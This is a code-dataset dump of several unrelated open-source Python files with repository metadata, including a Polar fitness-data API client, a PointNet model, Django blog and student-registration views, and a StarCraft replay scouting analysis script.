gpx_data: # not empty dict. If there is no data, this variable will have '{}' value utils.save_json_to_file(utils.xml_to_dict(gpx_data), f'exercises_data/gpx_data_{time}.json') if tcx_data: utils.save_json_to_file(utils.xml_to_dict(tcx_data), f'exercises_data/tcx_data_{time}.json') if hr_data: utils.save_json_to_file(hr_data, f'exercises_data/hr_data_{time}.json') if samples_data: utils.save_json_to_file(samples_data, f'exercises_data/samples_data_{time}.json') if sample_data: utils.save_json_to_file(sample_data, f'exercises_data/sample_data_{time}.json') transaction.commit() def get_daily_activity(self): transaction = self.accesslink.daily_activity.create_transaction(user_id=self.config['user_id'], access_token=self.config['access_token']) if not transaction: print('No new daily activity available.') return resource_urls = transaction.list_activities()['activity-log'] for url in resource_urls: activity_summary = transaction.get_activity_summary(url) print('Activity summary:') utils.pretty_print_json(activity_summary) utils.save_json_to_file(activity_summary, f'daily_activity_data/daily_activity_data_{str(activity_summary["date"])}.json') transaction.commit() def get_physical_info(self): transaction = self.accesslink.physical_info.create_transaction(user_id=self.config['user_id'], access_token=self.config['access_token']) if not transaction: print('No new physical information available.') return resource_urls = transaction.list_physical_infos()['physical-informations'] for url in resource_urls: physical_info = transaction.get_physical_info(url) print('Physical info:') utils.pretty_print_json(physical_info) time = utils.polar_datetime_to_python_datetime_str(str(physical_info['created'])) utils.save_json_to_file(physical_info, f'physical_data/physical_data{time}.json') transaction.commit() if __name__ == '__main__': PolarAccessLinkExample()

37.816092

134

0.606383

from __future__ import print_function import utils from accesslink import AccessLink from datetime import datetime try: input = raw_input except NameError: pass CONFIG_FILENAME = 'config.yml' class PolarAccessLinkExample(object): def __init__(self): self.config = utils.load_config(CONFIG_FILENAME) if 'access_token' not in self.config: print('Authorization is required. Run authorization.py first.') return self.accesslink = AccessLink(client_id=self.config['client_id'], client_secret=self.config['client_secret']) self.running = True self.show_menu() def show_menu(self): while self.running: print('\nChoose an option:\n' + '-----------------------\n' + ' 1 => Get data\n' + ' 2 => Revoke access token\n' + '-1 => Exit\n' + '-----------------------') self.get_menu_choice() def get_menu_choice(self): choice = input('> ') { '1': self.get_all_data, '2': self.revoke_access_token, '-1': self.exit }.get(choice, self.get_menu_choice)() def get_all_data(self): self.get_user_information() self.check_available_data() def get_user_information(self): user_info = self.accesslink.users.get_information(user_id=self.config['user_id'], access_token=self.config['access_token']) print('==========\tUSER INFORMATION\t==========') utils.pretty_print_json(user_info) utils.save_json_to_file(user_info, f'user_data/user_data_{datetime.today().strftime("%Y-%m-%d")}.json') def check_available_data(self): available_data = self.accesslink.pull_notifications.list() print('==========\tDATA\t==========') if not available_data: print('No new data available.') return print('Available data:') utils.pretty_print_json(available_data) for item in available_data['available-user-data']: if item['data-type'] == 'EXERCISE': self.get_exercises() elif item['data-type'] == 'ACTIVITY_SUMMARY': self.get_daily_activity() elif item['data-type'] == 'PHYSICAL_INFORMATION': self.get_physical_info() def revoke_access_token(self): self.accesslink.users.delete(user_id=self.config['user_id'], access_token=self.config['access_token']) del self.config['access_token'] del self.config['user_id'] utils.save_config(self.config, CONFIG_FILENAME) print('Access token was successfully revoked.') self.exit() def exit(self): self.running = False def get_exercises(self): transaction = self.accesslink.training_data.create_transaction(user_id=self.config['user_id'], access_token=self.config['access_token']) if not transaction: print('No new exercises available.') return resource_urls = transaction.list_exercises()['exercises'] for url in resource_urls: exercise_summary = transaction.get_exercise_summary(url) gpx_data = transaction.get_gpx(url) tcx_data = transaction.get_tcx(url) hr_data = transaction.get_heart_rate_zones(url) samples_data = transaction.get_available_samples(url) sample_data = transaction.get_samples(url) print('Exercise summary:') utils.pretty_print_json(exercise_summary) time = utils.polar_datetime_to_python_datetime_str(str(exercise_summary['start-time'])) utils.save_json_to_file(exercise_summary, f'exercises_data/summary_data_{time}.json') if gpx_data: utils.save_json_to_file(utils.xml_to_dict(gpx_data), f'exercises_data/gpx_data_{time}.json') if tcx_data: utils.save_json_to_file(utils.xml_to_dict(tcx_data), f'exercises_data/tcx_data_{time}.json') if hr_data: utils.save_json_to_file(hr_data, f'exercises_data/hr_data_{time}.json') if samples_data: utils.save_json_to_file(samples_data, f'exercises_data/samples_data_{time}.json') if sample_data: utils.save_json_to_file(sample_data, f'exercises_data/sample_data_{time}.json') transaction.commit() def get_daily_activity(self): transaction = self.accesslink.daily_activity.create_transaction(user_id=self.config['user_id'], access_token=self.config['access_token']) if not transaction: print('No new daily activity available.') return resource_urls = transaction.list_activities()['activity-log'] for url in resource_urls: activity_summary = transaction.get_activity_summary(url) print('Activity summary:') utils.pretty_print_json(activity_summary) utils.save_json_to_file(activity_summary, f'daily_activity_data/daily_activity_data_{str(activity_summary["date"])}.json') transaction.commit() def get_physical_info(self): transaction = self.accesslink.physical_info.create_transaction(user_id=self.config['user_id'], access_token=self.config['access_token']) if not transaction: print('No new physical information available.') return resource_urls = transaction.list_physical_infos()['physical-informations'] for url in resource_urls: physical_info = transaction.get_physical_info(url) print('Physical info:') utils.pretty_print_json(physical_info) time = utils.polar_datetime_to_python_datetime_str(str(physical_info['created'])) utils.save_json_to_file(physical_info, f'physical_data/physical_data{time}.json') transaction.commit() if __name__ == '__main__': PolarAccessLinkExample()

true

f7f365e259937ec2bb930b39104276320a4c43fd

1,454

py

Python

Deep Learning/Implementation_3/models/pointnet_cls.py

rajahaseeb147/3dFacialPartSegmentation

aedfed75558761295e9bf602b18c2c3b631080e5

[ "MIT" ]

null

Deep Learning/Implementation_3/models/pointnet_cls.py

rajahaseeb147/3dFacialPartSegmentation

aedfed75558761295e9bf602b18c2c3b631080e5

[ "MIT" ]

null

Deep Learning/Implementation_3/models/pointnet_cls.py

rajahaseeb147/3dFacialPartSegmentation

aedfed75558761295e9bf602b18c2c3b631080e5

[ "MIT" ]

1

2021-11-03T01:33:26.000Z

import torch.nn as nn import torch.utils.data import torch.nn.functional as F from pointnet_utils import PointNetEncoder, feature_transform_reguliarzer class get_model(nn.Module): def __init__(self, k=40, normal_channel=True): super(get_model, self).__init__() if normal_channel: channel = 6 else: channel = 3 self.feat = PointNetEncoder(global_feat=True, feature_transform=True, channel=channel) self.fc1 = nn.Linear(1024, 512) self.fc2 = nn.Linear(512, 256) self.fc3 = nn.Linear(256, k) self.dropout = nn.Dropout(p=0.4) self.bn1 = nn.BatchNorm1d(512) self.bn2 = nn.BatchNorm1d(256) self.relu = nn.ReLU() def forward(self, x): x, trans, trans_feat = self.feat(x) x = F.relu(self.bn1(self.fc1(x))) x = F.relu(self.bn2(self.dropout(self.fc2(x)))) x = self.fc3(x) x = F.log_softmax(x, dim=1) return x, trans_feat class get_loss(torch.nn.Module): def __init__(self, mat_diff_loss_scale=0.001): super(get_loss, self).__init__() self.mat_diff_loss_scale = mat_diff_loss_scale def forward(self, pred, target, trans_feat): loss = F.nll_loss(pred, target) mat_diff_loss = feature_transform_reguliarzer(trans_feat) total_loss = loss + mat_diff_loss * self.mat_diff_loss_scale return total_loss

35.463415

95

0.627235

import torch.nn as nn import torch.utils.data import torch.nn.functional as F from pointnet_utils import PointNetEncoder, feature_transform_reguliarzer class get_model(nn.Module): def __init__(self, k=40, normal_channel=True): super(get_model, self).__init__() if normal_channel: channel = 6 else: channel = 3 self.feat = PointNetEncoder(global_feat=True, feature_transform=True, channel=channel) self.fc1 = nn.Linear(1024, 512) self.fc2 = nn.Linear(512, 256) self.fc3 = nn.Linear(256, k) self.dropout = nn.Dropout(p=0.4) self.bn1 = nn.BatchNorm1d(512) self.bn2 = nn.BatchNorm1d(256) self.relu = nn.ReLU() def forward(self, x): x, trans, trans_feat = self.feat(x) x = F.relu(self.bn1(self.fc1(x))) x = F.relu(self.bn2(self.dropout(self.fc2(x)))) x = self.fc3(x) x = F.log_softmax(x, dim=1) return x, trans_feat class get_loss(torch.nn.Module): def __init__(self, mat_diff_loss_scale=0.001): super(get_loss, self).__init__() self.mat_diff_loss_scale = mat_diff_loss_scale def forward(self, pred, target, trans_feat): loss = F.nll_loss(pred, target) mat_diff_loss = feature_transform_reguliarzer(trans_feat) total_loss = loss + mat_diff_loss * self.mat_diff_loss_scale return total_loss

true

f7f366ca2bf88a72b2696ed05e837c7eee603164

705

py

Python

dj/scripts/assocdv.py

kattekrab/veyepar

d7010e451b1b04e7eb7b5ee0239696958ada41d6

[ "MIT" ]

null

dj/scripts/assocdv.py

kattekrab/veyepar

d7010e451b1b04e7eb7b5ee0239696958ada41d6

[ "MIT" ]

null

dj/scripts/assocdv.py

kattekrab/veyepar

d7010e451b1b04e7eb7b5ee0239696958ada41d6

[ "MIT" ]

null

#!/usr/bin/python # creates cutlist items for dv files that might belong to an episode import os, datetime import process from main.models import Location, Episode, Raw_File, Cut_List, Client, Show from main.views import mk_cuts from django.db.models import Q class ass_dv(process.process): ready_state = 1 # hook for run_tests to hack some values into cuts=[] def process_ep(self, episode): # skip if there is already a cut list # if episode.cut_list_set.count(): # return self.cuts = mk_cuts(episode, start_slop=5, end_slop=11) print "self.cuts", self.cuts if __name__=='__main__': p=ass_dv() p.main()

21.363636

75

0.656738

import os, datetime import process from main.models import Location, Episode, Raw_File, Cut_List, Client, Show from main.views import mk_cuts from django.db.models import Q class ass_dv(process.process): ready_state = 1 cuts=[] def process_ep(self, episode): self.cuts = mk_cuts(episode, start_slop=5, end_slop=11) print "self.cuts", self.cuts if __name__=='__main__': p=ass_dv() p.main()

false

true

f7f3674a0350914e582535a748f06646ec752713

1,439

py

Python

blog/views.py

IvanSotelo/Django

4ebc00aa079650e103d81a79e042eab438c17969

[ "MIT" ]

1

2019-01-11T01:09:29.000Z

blog/views.py

IvanSotelo/Django

4ebc00aa079650e103d81a79e042eab438c17969

[ "MIT" ]

null

blog/views.py

IvanSotelo/Django

4ebc00aa079650e103d81a79e042eab438c17969

[ "MIT" ]

null

from django.shortcuts import render from django.utils import timezone from django.shortcuts import redirect, render, get_object_or_404 from .models import Post from .forms import PostForm # Create your views here. def post_list(request): posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date') return render(request, 'blog/post_list.html', {'posts': posts}) def post_detail(request, pk): post = get_object_or_404(Post, pk=pk) return render(request, 'blog/post_detail.html', {'post': post}) def post_new(request): if request.method == "POST": form = PostForm(request.POST) if form.is_valid(): post = form.save(commit=False) post.author = request.user post.published_date = timezone.now() post.save() return redirect('post_detail', pk=post.pk) else: form = PostForm() return render(request, 'blog/post_edit.html', {'form': form}) def post_edit(request, pk): post = get_object_or_404(Post, pk=pk) if request.method == "POST": form = PostForm(request.POST, instance=post) if form.is_valid(): post = form.save(commit=False) post.author = request.user post.save() return redirect('post_detail', pk=post.pk) else: form = PostForm(instance=post) return render(request, 'blog/post_edit.html', {'form': form})

35.097561

94

0.651842

from django.shortcuts import render from django.utils import timezone from django.shortcuts import redirect, render, get_object_or_404 from .models import Post from .forms import PostForm def post_list(request): posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date') return render(request, 'blog/post_list.html', {'posts': posts}) def post_detail(request, pk): post = get_object_or_404(Post, pk=pk) return render(request, 'blog/post_detail.html', {'post': post}) def post_new(request): if request.method == "POST": form = PostForm(request.POST) if form.is_valid(): post = form.save(commit=False) post.author = request.user post.published_date = timezone.now() post.save() return redirect('post_detail', pk=post.pk) else: form = PostForm() return render(request, 'blog/post_edit.html', {'form': form}) def post_edit(request, pk): post = get_object_or_404(Post, pk=pk) if request.method == "POST": form = PostForm(request.POST, instance=post) if form.is_valid(): post = form.save(commit=False) post.author = request.user post.save() return redirect('post_detail', pk=post.pk) else: form = PostForm(instance=post) return render(request, 'blog/post_edit.html', {'form': form})

true

f7f3699ada9f49cc472b5ad6d7f87253e40e9c8f

232

py

Python

bostaSDK/utils/__init__.py

bostaapp/bosta-python

df3f48dafac49b2577669fd4d74a5e5e9d28f2c1

[ "MIT" ]

null

bostaSDK/utils/__init__.py

bostaapp/bosta-python

df3f48dafac49b2577669fd4d74a5e5e9d28f2c1

[ "MIT" ]

1

2020-11-18T11:01:32.000Z

2020-11-18T11:10:52.000Z

bostaSDK/utils/__init__.py

bostaapp/bosta-python

df3f48dafac49b2577669fd4d74a5e5e9d28f2c1

[ "MIT" ]

null

from .Address import Address from .Receiver import Receiver from .DeliverySpecs import DeliverySpecs from .ContactPerson import ContactPerson from .DeliveryTypes import DELIVERY_TYPES from .PickupTimeSlots import PICKUP_TIME_SLOTS

29

46

0.866379

from .Address import Address from .Receiver import Receiver from .DeliverySpecs import DeliverySpecs from .ContactPerson import ContactPerson from .DeliveryTypes import DELIVERY_TYPES from .PickupTimeSlots import PICKUP_TIME_SLOTS

true

f7f369b8887466dc79fa4bffa55c18561c84d8db

716

py

Python

clients/python-fastapi/generated/src/openapi_server/models/clock_difference.py

cliffano/jenkins-api-clients-generator

522d02b3a130a29471df5ec1d3d22c822b3d0813

[ "MIT" ]

null

clients/python-fastapi/generated/src/openapi_server/models/clock_difference.py

cliffano/jenkins-api-clients-generator

522d02b3a130a29471df5ec1d3d22c822b3d0813

[ "MIT" ]

null

clients/python-fastapi/generated/src/openapi_server/models/clock_difference.py

cliffano/jenkins-api-clients-generator

522d02b3a130a29471df5ec1d3d22c822b3d0813

[ "MIT" ]

null

# coding: utf-8 from __future__ import annotations from datetime import date, datetime # noqa: F401 import re # noqa: F401 from typing import Any, Dict, List, Optional # noqa: F401 from pydantic import AnyUrl, BaseModel, EmailStr, validator # noqa: F401 class ClockDifference(BaseModel): """NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). Do not edit the class manually. ClockDifference - a model defined in OpenAPI _class: The _class of this ClockDifference [Optional]. diff: The diff of this ClockDifference [Optional]. """ _class: Optional[str] = None diff: Optional[int] = None ClockDifference.update_forward_refs()

26.518519

96

0.72067

from __future__ import annotations from datetime import date, datetime import re from typing import Any, Dict, List, Optional from pydantic import AnyUrl, BaseModel, EmailStr, validator class ClockDifference(BaseModel): _class: Optional[str] = None diff: Optional[int] = None ClockDifference.update_forward_refs()

true

f7f369f87b1eff287eabdda0971dcb941af72bc8

7,679

py

Python

starcraft/scouting_time.py

awb-carleton/pattern-analysis

532066398f2d102031aaa86b9a7c739ee16ceb9c

[ "MIT" ]

null

starcraft/scouting_time.py

awb-carleton/pattern-analysis

532066398f2d102031aaa86b9a7c739ee16ceb9c

[ "MIT" ]

null

starcraft/scouting_time.py

awb-carleton/pattern-analysis

532066398f2d102031aaa86b9a7c739ee16ceb9c

[ "MIT" ]

null

# Intended to be used for data visualization of when players scout # during StarCraft 2 from __future__ import print_function import csv import sc2reader import time import file_locations from functools import partial from multiprocessing import Pool, cpu_count from collections import Counter from itertools import repeat import scouting_stats import unit_prediction import scouting_detector import file_locations from load_map_path_data import load_path_data from sc2reader.engine.plugins import SelectionTracker, APMTracker from selection_plugin import ActiveSelection from battle_detector import buildBattleList, remove_scouting_during_battle, \ remove_scouting_during_battles_and_harassment from base_plugins import BaseTracker from generate_replay_info import group_replays_by_map import numpy as np import traceback from modified_rank_plugin import ModifiedRank from data_analysis_helper import run, save from collections import namedtuple scouting_instance_fields = namedtuple("scouting_instance_fields", ("GameID", "UID", "PID", "Rank", "Race", "ScoutingStartTime", "ScoutingEndTime", "ScoutingType", "LocationX", "LocationY", "DuringEngagement", "Winner")) try: from reprlib import repr except ImportError: pass def generateFields(filename, map_path_data): '''generateFields takes in a filename of a replay, loads it and gathers necessary statistics, and returns the statistics in a tuple. It is to be used to write these stats to a csv. It also takes in an integer (1 or 2), which indicates which statistics will be gathered. In this case, generateFields gathers each point in the game where a period of scouting is initiated. Inputting a 1 will return times as a fraction of the total game time, whereas inputting a 2 will return absolute frames.''' # loading the replay try: t = time.time() # extracting the game id and adding the correct tag # pathname = "practice_replays/" + filename pathname = file_locations.REPLAY_FILE_DIRECTORY + "/" + filename game_id = filename.split("_")[1].split(".")[0] if filename.startswith("ggg"): game_id = "ggg-" + game_id elif filename.startswith("spawningtool"): game_id = "st-" + game_id # loading the replay try: r = sc2reader.load_replay(pathname) if any(v != (0, {}) for v in r.plugin_result.values()): print(pathname, r.plugin_result) except: print(filename, "cannot load using sc2reader due to an internal ValueError") raise team1_times, team2_times = scouting_detector.get_scouting_instances(r, map_path_data) # team1_times, team2_times = remove_scouting_during_battles_and_harassment(r, scouting_instances) team1_rank, team1_rel_rank, team2_rank, team2_rel_rank = scouting_stats.ranking_stats(r) team1_uid = r.players[0].detail_data['bnet']['uid'] team2_uid = r.players[1].detail_data['bnet']['uid'] team1_race = r.players[0].play_race team2_race = r.players[1].play_race results = [] for instance in team1_times: results.append( scouting_instance_fields(game_id, team1_uid, 1, team1_rank, team1_race, instance.start_time, instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid)) for instance in team2_times: results.append(scouting_instance_fields(game_id, team2_uid, 2, team2_rank, team2_race, instance.start_time, instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid)) return results except KeyboardInterrupt: raise except: traceback.print_exc() return def writeToCsv(which, filename): '''writeToCsv gathers information about all valid replays and writes that information to a csv for analysis in R. This file in particular contains information about when players initiate periods of scouting. It takes an integer (1 or 2), which indicates which statistics will be gathered. Inputting a 1 will gather times as a fraction of the total game time, whereas inputting a 2 will gather absolute frames. It also takes in the name of the csv file that the information will be written to.''' # valid_game_ids.txt must be produced first by running scouting_stats.py # with the command line argument -w results = [] with Pool(min(cpu_count(), 60)) as pool: count = 0 for map_name_group, replays in group_replays_by_map().items(): map_path_data = load_path_data(map_name_group) if map_path_data is None: print("no path data for map", map_name_group) continue print("loaded path data for map", map_name_group, "with", len(replays), "replays") count += len(replays) map_time = time.time() new_results = pool.map(partial(generateFields, which=which, map_path_data=map_path_data), replays) print("analyzing", len(replays), "replays for map", map_name_group, "took", time.time() - map_time) for result in new_results: results.append(result) with open(filename, 'w', newline='') as my_csv: events_out = csv.DictWriter(my_csv, fieldnames=["GameID", "UID", "Rank", "Race", "ScoutStartTime", "ScoutEndTime", "ScoutType"]) events_out.writeheader() for fields in results: if fields: game_id = fields[0] uid = fields[1] rank = fields[2] times = fields[3] race = fields[7] for scouting_time in times: events_out.writerow( {"GameID": game_id, "UID": uid, "Rank": rank, "Race": race, "ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time, "ScoutType": scouting_time.scouting_type}) uid = fields[4] rank = fields[5] times = fields[6] race = fields[8] for scouting_time in times: events_out.writerow( {"GameID": game_id, "UID": uid, "Rank": rank, "Race": race, "ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time, "ScoutType": scouting_time.scouting_type}) if __name__ == "__main__": sc2reader.engine.register_plugin(APMTracker()) sc2reader.engine.register_plugin(SelectionTracker()) sc2reader.engine.register_plugin(ModifiedRank()) sc2reader.engine.register_plugin(ActiveSelection()) bt = BaseTracker() # bt.logger.setLevel(logging.ERROR) # bt.logger.addHandler(logging.StreamHandler(sys.stdout)) sc2reader.engine.register_plugin(bt) # sc2reader.log_utils.add_log_handler(logging.StreamHandler(sys.stdout), "INFO") results = run(generateFields) save(results, "scouting_instances_gm") # with open("missing_unit_speeds.txt", "r") as file: # file.writelines(scouting_detector.missing_units) # with open("missing_unit_vision.txt", "r") as file: # file.writelines(unit_prediction.missing_units)

46.823171

189

0.655945

from __future__ import print_function import csv import sc2reader import time import file_locations from functools import partial from multiprocessing import Pool, cpu_count from collections import Counter from itertools import repeat import scouting_stats import unit_prediction import scouting_detector import file_locations from load_map_path_data import load_path_data from sc2reader.engine.plugins import SelectionTracker, APMTracker from selection_plugin import ActiveSelection from battle_detector import buildBattleList, remove_scouting_during_battle, \ remove_scouting_during_battles_and_harassment from base_plugins import BaseTracker from generate_replay_info import group_replays_by_map import numpy as np import traceback from modified_rank_plugin import ModifiedRank from data_analysis_helper import run, save from collections import namedtuple scouting_instance_fields = namedtuple("scouting_instance_fields", ("GameID", "UID", "PID", "Rank", "Race", "ScoutingStartTime", "ScoutingEndTime", "ScoutingType", "LocationX", "LocationY", "DuringEngagement", "Winner")) try: from reprlib import repr except ImportError: pass def generateFields(filename, map_path_data): try: t = time.time() pathname = file_locations.REPLAY_FILE_DIRECTORY + "/" + filename game_id = filename.split("_")[1].split(".")[0] if filename.startswith("ggg"): game_id = "ggg-" + game_id elif filename.startswith("spawningtool"): game_id = "st-" + game_id try: r = sc2reader.load_replay(pathname) if any(v != (0, {}) for v in r.plugin_result.values()): print(pathname, r.plugin_result) except: print(filename, "cannot load using sc2reader due to an internal ValueError") raise team1_times, team2_times = scouting_detector.get_scouting_instances(r, map_path_data) team1_rank, team1_rel_rank, team2_rank, team2_rel_rank = scouting_stats.ranking_stats(r) team1_uid = r.players[0].detail_data['bnet']['uid'] team2_uid = r.players[1].detail_data['bnet']['uid'] team1_race = r.players[0].play_race team2_race = r.players[1].play_race results = [] for instance in team1_times: results.append( scouting_instance_fields(game_id, team1_uid, 1, team1_rank, team1_race, instance.start_time, instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid)) for instance in team2_times: results.append(scouting_instance_fields(game_id, team2_uid, 2, team2_rank, team2_race, instance.start_time, instance.end_time, instance.scouting_type, instance.location[0], instance.location[1], instance.during_battle, r.winner.players[0].pid)) return results except KeyboardInterrupt: raise except: traceback.print_exc() return def writeToCsv(which, filename): results = [] with Pool(min(cpu_count(), 60)) as pool: count = 0 for map_name_group, replays in group_replays_by_map().items(): map_path_data = load_path_data(map_name_group) if map_path_data is None: print("no path data for map", map_name_group) continue print("loaded path data for map", map_name_group, "with", len(replays), "replays") count += len(replays) map_time = time.time() new_results = pool.map(partial(generateFields, which=which, map_path_data=map_path_data), replays) print("analyzing", len(replays), "replays for map", map_name_group, "took", time.time() - map_time) for result in new_results: results.append(result) with open(filename, 'w', newline='') as my_csv: events_out = csv.DictWriter(my_csv, fieldnames=["GameID", "UID", "Rank", "Race", "ScoutStartTime", "ScoutEndTime", "ScoutType"]) events_out.writeheader() for fields in results: if fields: game_id = fields[0] uid = fields[1] rank = fields[2] times = fields[3] race = fields[7] for scouting_time in times: events_out.writerow( {"GameID": game_id, "UID": uid, "Rank": rank, "Race": race, "ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time, "ScoutType": scouting_time.scouting_type}) uid = fields[4] rank = fields[5] times = fields[6] race = fields[8] for scouting_time in times: events_out.writerow( {"GameID": game_id, "UID": uid, "Rank": rank, "Race": race, "ScoutStartTime": scouting_time.start_time, "ScoutEndTime": scouting_time.end_time, "ScoutType": scouting_time.scouting_type}) if __name__ == "__main__": sc2reader.engine.register_plugin(APMTracker()) sc2reader.engine.register_plugin(SelectionTracker()) sc2reader.engine.register_plugin(ModifiedRank()) sc2reader.engine.register_plugin(ActiveSelection()) bt = BaseTracker() sc2reader.engine.register_plugin(bt) results = run(generateFields) save(results, "scouting_instances_gm")

true

f7f36a41bfcf34aa06e527ede0c75cb8120714d1

977

py

Python

structured/__init__.py

db434/nn-restrict

bc46725d01db9555e1cd9f2068b25a1dee8912ce

[ "MIT" ]

null

structured/__init__.py

db434/nn-restrict

bc46725d01db9555e1cd9f2068b25a1dee8912ce

[ "MIT" ]

null

structured/__init__.py

db434/nn-restrict

bc46725d01db9555e1cd9f2068b25a1dee8912ce

[ "MIT" ]

null

from . import butterfly_old2 from . import butterfly_old from . import butterfly from . import deep_roots from . import depthwise_butterfly from . import depthwise_separable from . import depthwise_shuffle from . import fully_connected from . import hadamard from . import shift from . import shuffle __all__ = ["butterfly_old2", "deep_roots", "depthwise_separable", "fully_connected", "hadamard", "shift", "shuffle", "depthwise_butterfly", "depthwise_shuffle", "butterfly_old", "butterfly"] conv2d_types = { 'butterfly_old2': butterfly_old2.Conv2d, 'butterfly_old': butterfly_old.Conv2d, 'butterfly': butterfly.Conv2d, 'fc': fully_connected.Conv2d, 'hadamard': hadamard.Conv2d, 'roots': deep_roots.Conv2d, 'separable': depthwise_separable.Conv2d, 'separable_butterfly': depthwise_butterfly.Conv2d, 'separable_shuffle': depthwise_shuffle.Conv2d, 'shift': shift.Conv2d, 'shuffle': shuffle.Conv2d, }

31.516129

65

0.727738

from . import butterfly_old2 from . import butterfly_old from . import butterfly from . import deep_roots from . import depthwise_butterfly from . import depthwise_separable from . import depthwise_shuffle from . import fully_connected from . import hadamard from . import shift from . import shuffle __all__ = ["butterfly_old2", "deep_roots", "depthwise_separable", "fully_connected", "hadamard", "shift", "shuffle", "depthwise_butterfly", "depthwise_shuffle", "butterfly_old", "butterfly"] conv2d_types = { 'butterfly_old2': butterfly_old2.Conv2d, 'butterfly_old': butterfly_old.Conv2d, 'butterfly': butterfly.Conv2d, 'fc': fully_connected.Conv2d, 'hadamard': hadamard.Conv2d, 'roots': deep_roots.Conv2d, 'separable': depthwise_separable.Conv2d, 'separable_butterfly': depthwise_butterfly.Conv2d, 'separable_shuffle': depthwise_shuffle.Conv2d, 'shift': shift.Conv2d, 'shuffle': shuffle.Conv2d, }

true

f7f36adcad1c0d04fa6ec62131a760745e4b333c

344

py

Python

v.py

altg0x0/16_sorting

2a52fe62451f032b91c4a4d4b953bd505362fc17

[ "Unlicense" ]

null

v.py

altg0x0/16_sorting

2a52fe62451f032b91c4a4d4b953bd505362fc17

[ "Unlicense" ]

null

v.py

altg0x0/16_sorting

2a52fe62451f032b91c4a4d4b953bd505362fc17

[ "Unlicense" ]

null

from bisect import bisect, bisect_left l, n, m = map(int, input().split()) lp = [] rp = [] points = [] for __ in range(n): inp = list(map(int, input().split())) lp.append(inp[0]) rp.append(inp[1]) for __ in range(m): points.append(int(input())) lp.sort() rp.sort() for i in points: print(bisect(lp, i) - bisect_left(rp, i))

21.5

45

0.601744

from bisect import bisect, bisect_left l, n, m = map(int, input().split()) lp = [] rp = [] points = [] for __ in range(n): inp = list(map(int, input().split())) lp.append(inp[0]) rp.append(inp[1]) for __ in range(m): points.append(int(input())) lp.sort() rp.sort() for i in points: print(bisect(lp, i) - bisect_left(rp, i))

true

f7f36b88a9cfd56106c4f9e521e0d9d0492f882f

228

py

Python

timestamp.py

CapnSane/craziest-epic-urban-waddle

ad64cabf3ded00f843af1b4d20c86ae3ff96787c

[ "BSD-3-Clause" ]

null

timestamp.py

CapnSane/craziest-epic-urban-waddle

ad64cabf3ded00f843af1b4d20c86ae3ff96787c

[ "BSD-3-Clause" ]

null

timestamp.py

CapnSane/craziest-epic-urban-waddle

ad64cabf3ded00f843af1b4d20c86ae3ff96787c

[ "BSD-3-Clause" ]

null

from datetime import datetime timestamp = int(637776829355875500 / 10**9) print("timestamp", timestamp) dt_object = datetime.fromtimestamp(timestamp) print("dt_object =", dt_object) print("type(dt_object) =", type(dt_object))

25.333333

45

0.767544

from datetime import datetime timestamp = int(637776829355875500 / 10**9) print("timestamp", timestamp) dt_object = datetime.fromtimestamp(timestamp) print("dt_object =", dt_object) print("type(dt_object) =", type(dt_object))

true

f7f36ba718a990c210ad69133cf23bd54e5031e4

2,848

py

Python

apps/estudiantes/views.py

dezcor/Cotaau

1914e5fac77734a9e82c3b49110da3ebe079d618

[ "Apache-2.0" ]

null

apps/estudiantes/views.py

dezcor/Cotaau

1914e5fac77734a9e82c3b49110da3ebe079d618

[ "Apache-2.0" ]

null

apps/estudiantes/views.py

dezcor/Cotaau

1914e5fac77734a9e82c3b49110da3ebe079d618

[ "Apache-2.0" ]

null

from django.shortcuts import render from django.http import HttpResponseRedirect from django.urls import reverse_lazy # Create your views here. from django.views.generic import ListView,CreateView,UpdateView from apps.estudiantes.models import Estudiante from django.contrib.auth.models import User from apps.estudiantes.forms import EstudianteForm, RegistroForm, UpdateRegsForm, UpdateEstudenFrom from django.contrib.auth.views import LoginView class Login(LoginView): success_url = reverse_lazy("conferencia:index") class CrearUsuario(CreateView): model = Estudiante template_name = 'estudiantes/Estudiante_form2.html' form_class = EstudianteForm second_form_class = RegistroForm success_url = reverse_lazy("login") def get_context_data(self, **kwargs): context = super(CrearUsuario,self).get_context_data(**kwargs) if 'form' not in context: context['form'] = self.form_class(self.request.GET) if 'form2' not in context: context['form2'] = self.second_form_class(self.request.GET) return context def post(self, request, *args, **kwargs): self.object = self.get_object form = self.form_class(self.request.POST) form2 = self.second_form_class(self.request.POST) if form.is_valid() and form2.is_valid(): estudiante = form.save(commit=False) estudiante.user = form2.save() estudiante.save() return HttpResponseRedirect(self.get_success_url()) else: return self.render_to_response(self.get_context_data(form=form,form2=form2)) class UpdateUsuario(UpdateView): model = User second_model = Estudiante template_name = 'estudiantes/Estudiante_form.html' form_class = UpdateRegsForm second_form_class = UpdateEstudenFrom success_url = reverse_lazy("conferencia:index") def get_context_data(self, **kwargs): context = super(UpdateUsuario,self).get_context_data(**kwargs) pk = self.kwargs.get('pk',0) user = self.request.user estudiante = self.second_model.objects.get(user = user) if 'form' not in context: context['form'] = self.form_class() if 'form2' not in context: context['form2'] = self.second_form_class(instance= estudiante) return context def post(self,request,*args,**kwargs): self.object = self.get_object NUA = kwargs['pk'] user = self.request.user estudiante = self.second_model.objects.get(user = user) form = self.form_class(request.POST,instance=user) form2 = self.second_form_class(request.POST,instance=estudiante) if form.is_valid() and form2.is_valid(): form.save() form2.save() return HttpResponseRedirect(self.get_success_url())

39.013699

98

0.688553

